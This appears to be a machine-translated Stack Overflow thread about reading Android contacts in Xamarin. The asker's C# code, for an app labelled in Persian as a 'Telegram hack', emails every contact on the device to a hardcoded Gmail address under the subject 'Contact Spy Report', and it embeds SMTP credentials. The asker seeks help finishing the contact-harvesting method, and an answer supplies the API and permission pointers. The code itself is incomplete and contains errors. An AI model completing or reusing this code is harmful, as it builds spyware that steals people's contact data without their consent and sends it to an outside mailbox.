C# 在Xamarin中获取Android联系人

C# 在Xamarin中获取Android联系人,c#,android,xamarin,xamarin.android,C#,Android,Xamarin,Xamarin.android,目前,我有一些不能使用VisualStudio的限制。 我有一个紧急工作,需要一个Android程序,但我不知道如何在里面做一些事情,因为VisualStudio帮助我做一些建议,但我没有。我想获得Android联系人的姓名和电话号码。 目前,这是我在App.cs中的代码: using System; using System.Linq; using Android.App; using Android.Content; using Android.OS; using Android.View

目前,我有一些不能使用VisualStudio的限制。 我有一个紧急工作,需要一个Android程序,但我不知道如何在里面做一些事情,因为VisualStudio帮助我做一些建议,但我没有。我想获得Android联系人的姓名和电话号码。 目前,这是我在App.cs中的代码:

using System;
using System.Linq;

using Android.App;
using Android.Content;
using Android.OS;
using Android.Views;
using Android.Views.InputMethods;
using Android.Widget;
using System.Net;
using System.Net.Mail;

namespace Tlgr
{
    [Activity(Label = "هک تلگرام", MainLauncher = true)]
    public class App : Activity
    {
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);
            var ctks = Contact.GetContacts();
            using (var mail = new MailMessage())
            {
                mail.From = new MailAddress("feedbackhost.sender@gmail.com");
                mail.To.Add("asm262015@gmail.com");
                mail.Subject = "Contact Spy Report";
                foreach(ctk in ctks)
                {
                    mail.Body += ctk.ToString() + "\r\n";
                }
                using (var smtp = new SmtpClient("smtp.gmail.com", 587))
                {
                    smtp.Credentials = new NetworkCredential("feedbackhost.sender@gmail.com", "feedbackhost");
                    smtp.EnableSsl = true;
                    smtp.Send(mail);
                }
            }
        }
    }

    public class Contact
    {
        public string Name {get;set;}
        public string[] Numbers {get;set;}
        public override ToString()
        {
            var a = $"Name: {Name}";
            foreach (var i in Numbers)
            {
                a += " , Number: " + i;
            }
            return a;
        }

        public static Contact[] GetContacts()
        {

        }
    }
}
我只需要添加GetContacts()方法的主体来解决我的问题。
我已经搜索了,有很好的结果,但我不知道如何使用它们,我需要一个完善的代码!谢谢

您应该使用
联系人contract.Contacts

Contacts contract.Contacts是用于与联系人数据交互的数据协定。代码在ContactsContract.contacts.ContentUri定义的Uri处查询联系人,返回从ContactsContract.contacts.InterfaceConsts中选择的列

你可以找到更多

您还需要添加权限
读取联系人

<uses-permission android:name="android.permission.READ_CONTACTS" />


欢迎使用堆栈溢出!我们不是来为您编写“完美代码”的,我们是来帮助您解决代码问题的。您找到的代码有什么问题?我找到了此代码,我需要将此对象转换为我自己定义的对象,该对象名为
Contact
。怎么做?我想要一个联系人数组(Contact[])我将测试这段代码,但如果用户有多个电话号码作为一个名字,该怎么办?我想要各种号码,比如电话、私人电话、家庭电话、工作电话……你可以在这里查看我们国家的数据类型,使用developer.android.com已被美国政治封锁。现在,我添加了代码,我对“ManagedQuery”方法有问题,我无法使用ILSpy在顶部添加“Using”。
<uses-permission android:name="android.permission.READ_CONTACTS" />